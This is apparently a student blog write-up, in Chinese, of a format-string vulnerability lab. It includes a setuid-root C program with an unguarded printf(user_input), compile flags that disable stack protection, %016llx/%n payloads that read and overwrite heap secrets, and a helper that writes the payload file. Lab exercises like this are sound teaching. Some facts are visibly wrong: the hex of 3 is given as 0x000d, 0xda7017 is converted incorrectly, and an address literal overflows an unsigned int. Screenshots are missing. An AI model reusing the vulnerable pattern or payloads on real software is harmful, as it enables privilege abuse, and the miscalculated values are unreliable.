2021-2022-1 20212809 格式化字符串漏洞实验

  • 用户需要输入一段数据,数据保存在 user_input 数组中,程序会使用 printf 函数打印数据内容,并且该程序以 root 权限运行。更加可喜的是,这个程序存在一个格式化漏洞。让我们来看看利用这些漏洞可以搞些什么破坏。

  • 程序说明:
    程序内存中存在两个秘密值,我们想要知道这两个值,但发现无法通过读二进制代码的方式来获取它们(实验中为了简单起见,硬编码这些秘密值为 0x44 和 0x55)。尽管我们不知道它们的值,但要得到它们的内存地址倒不是特别困难,因为对大多数系统而言,每次运行程序,这些内存地址基本上是不变的。实验假设我们已经知道了这些内存地址,为了达到这个目的,程序特意为我们打出了这些地址。
    有了这些前提以后我们需要达到以下目标:

  • 找出 secret[1] 的值

  • 修改 secret[1] 的值

  • 修改 secret[1] 为期望值
    注意:因为实验环境是 64 位系统,所以需要使用 %016llx 才能读取整个字。但为了简便起见,对程序进行了修改了,使用 %08x 也能完成实验。
    1- 3的十六进制数为0x 000d。十六进制数0xda7017 对应的十进制数是 14315540

wget http://labfile.oss.aliyuncs.com/courses/228/vul_prog.c

编译时可以添加以下参数关掉栈保护。

$ gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c 
$ sudo chmod u+s vul_prog

2021-2022-1 20212809 格式化字符串漏洞实验

  • 1.运行 vul_prog 程序去定位 int_input 的位置,这样就确认了 %s 在格式字符串中的位置。

2021-2022-1 20212809 格式化字符串漏洞实验12 和后面的 %016llX 都是自己随意输入的, %016llX 的个数最好在10个以上。

12 的十六进制码就是 0x000C ,可以看到输出中 12 的十六进制在第 8 个位置上,这样我们就能确定格式化字符串的位置了。

  • 2.输入 secret[1] 的地址,记得做进制转换,同时在格式字符串中加入 %s .
    -2021-2022-1 20212809 格式化字符串漏洞实验

  • 在 %.897u 前有 6 个 64 位地址,每个地址对应 16 个字符,加上逗号一共就是 6*(16+1)=102 ,在 %.897u 后面的地址上还有一个 , 占一个字符。所以一共是 102+1=103 个字符,要改成 1000 的话,我们就还差 1000-103=897 个字符。

把第一个 scanf 语句去掉,并去掉与 int_input 变量相关的所有语句,修改后的 vul_prog.c 程序如下:

/* vul_prog.c */ 
#include <stdlib.h>
#include <stdio.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
  printf(user_input);  
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
}

2021-2022-1 20212809 格式化字符串漏洞实验

在 /home/shiyanlou 目录新建一个程序 write_string.c 。以下程序将一个格式化字符串写入了一个叫 mystring 的文件,前 4 个字节由任意你想放入格式化字符串的数字构成,接下来的字节由键盘输入:

/* write_string.c */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;
    /* Putting any number you like at the beginning of the format string */
    address = (unsigned int *) buf;
    *address = 0x113222580;
    /* Getting the rest of the format string */
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %d\n", size);
    /* Writing buf to "mystring" */
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!\n");
    }
}

修改 secret[0]的值

修改 vul_prog.c 后编译 vul_prog.c 与 write_string.c:

rm vul_prog
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c 
gcc -o write_string write_string.c

然后通过 write_string 程序将内容输入进 mystring 文件中,文件内容包括代码中加入的头四个字节和你之后输入的内容。

先运行 vul_prog 程序,输入 4 个 %016llx 。再运行 write_string 程序,输入 8 个 %016llx 和 1 个 %n ,此操作会生成一个 mystring 文件。然后输入如下命令:
2021-2022-1 20212809 格式化字符串漏洞实验

./vul_prog < mystring

2021-2022-1 20212809 格式化字符串漏洞实验

上一篇:windows下怎么打开odt 文件


下一篇:k8s的Ingress中使用https